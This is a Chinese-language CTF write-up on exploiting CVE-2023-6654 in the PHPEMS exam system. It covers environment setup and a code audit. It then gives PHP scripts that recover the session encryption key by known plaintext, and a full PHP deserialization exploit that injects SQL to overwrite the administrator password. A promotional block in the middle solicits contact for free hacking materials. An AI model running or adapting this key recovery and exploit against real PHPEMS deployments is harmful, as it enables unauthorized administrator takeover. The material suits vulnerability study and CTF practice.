前言
2024西湖論劍數據安全題,太菜了當時沒看明白,
系統是phpems,修改了默認密碼,需要利用CVE登上去
CVE-2023-6654 ,菜鳥學習,大佬多指點
0x01環境搭建
https://phpems.net/index.php 源碼
config.inc.php修改相應數據庫配置
數據庫運行pe9.sql文件建立數據庫
0x02代碼審計
根據題目提示是CVE2023-6654
漏洞點在session.cls.php
查看session.cls.php代碼
查看ginkgo
其make方法會判斷$G拼接的文件名是否存在,也就是lib文件下的.cls.php文件,存在的就會包含這個文件
pepdo,ev,pdosql,strings是這裏面分別包含的文件,根據CVE披露得知是反序列化漏洞,搜索反序列化點。
strings.cls.php中有利用點
getSessionId()方法裏面有調用decode
key值爲CS,CS值在config.inc.php中,題目環境是修改的
使用如下代碼可以解密出明文,因爲我們知道key
<?php define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6'); $info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%25B4%257F%2596%2599b%259C%25D5%259C%25AAi%25A6%259A%2597%25AE%258B%25AC%25D7%25C9%25DB%25CF%258B%25D5%259Ei%2596%25AA%25D0%259DQ%25A9v%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9y%2597%2586%2582%258Fgf%25A3%25EE"; $key = CS; $info = urldecode(urldecode($info)); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } echo $info;
encode代碼
public function encode($info) { $info = serialize($info); $key = CS; $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info); } decode代碼 public function decode($info) { $key = CS; $info = urldecode($info); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } $info = unserialize($info); return $info; }
可以看出裏面這個$p值是循環的,加密的出來的值等於其ascll值相加,
encode是明文+key=密文
decode是密文-key=明文
key=密文-明文
key的長度是32位,也就是我們得到的密碼每32位一循環,那麼如果我們知道密文中其中一段32位的明文,就可以算出來key了
ev.cls.php
可以確認這個ip是可控的,也就是這個值是可控的
a:3:{s:9:"sessionid";s:32:"6c48c14d623214794ccef7ee5f4b6003";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706957115;}
去掉前面的64位,往後順延32爲取出來,值如下
:"sessionip";s:9:"127.0.0.1";s:1
解密腳本
<?php $info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3ebjfel%2596%25CD%25D7%25CA%25A8k%25D5%259F%259A%25A9%25B6%25A8%25A4%2598%25AC%2599%2589%25A5p%2596%2593%25AC%25A6%259FZ%25DBuSm%25A6nnk%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7tSm%25A6nfg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9yjiiemj%25A3%25EE"; $key = CS; $info = urldecode(urldecode($info)); $info1=substr($info,64,32); //echo $info1; $ed=strlen($info1);//也就是32 $dc=32; $sessip=':"sessionip";s:9:"127.0.0.1";s:1'; for ($i=0;$i<$ed;$i++) { $p=$i%$dc; $info1[$i]=chr(ord($info1[$i])-ord($sessip[$p])); } echo $info1; //1hqfx6ticwRxtfviTp940vng!yC12345 構造反序列化鏈子 session.cls.php的__destruct() 關鍵代碼 $sql = $this->pdosql->makeUpdate($data); $this->db->exec($sql); ![](./myMediaFolder/media/image13.png){width="7.333333333333333in" height="2.8976049868766403in"}
這裏可以看出分別需要db和pdosql,以此達到反序列化修改數據庫密碼,
構造鏈子 session::__destruct()->pdosql::makeUpdate->pepdo::exec
【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:dctintin,備註 “開源中國” 獲取!】
① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC 漏洞分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)
0x03漏洞復現
這裏使用網上師傅的EXP
<?php namespace PHPEMS { class session { public function __construct() { $this->sessionid="1111111"; $this->pdosql= new pdosql(); $this->db= new pepdo(); } } class pdosql { private $db; public function __construct() { $this->tablepre = 'x2_user set userpassword="a10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--'; $this->db=new pepdo(); } } class pepdo { private $linkid = 0; } } namespace { define('CS1','1hqfx6ticwRxtfviTp940vng!yC12345'); function encode($info) { $info = serialize($info); $key = CS1; $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info); } $session = new PHPEMSsession(); $array = array("sessionid"=>"123123123", $session); echo serialize($array)."n"; echo(urlencode(encode($array)))."n"; }
實戰中我們的ip是可以僞造的
關鍵代碼點
需要先創建pepdo和pdosql
pdosql.cls.php的makeUpdate是用來生成sql語句的
$tb_pre = $this->tablepre
所以這個sql語句參數可控
0x04總結
函數是關鍵,研究下是否能可控這個反序列化的參數值,並且反序列化中能夠調用危險函數。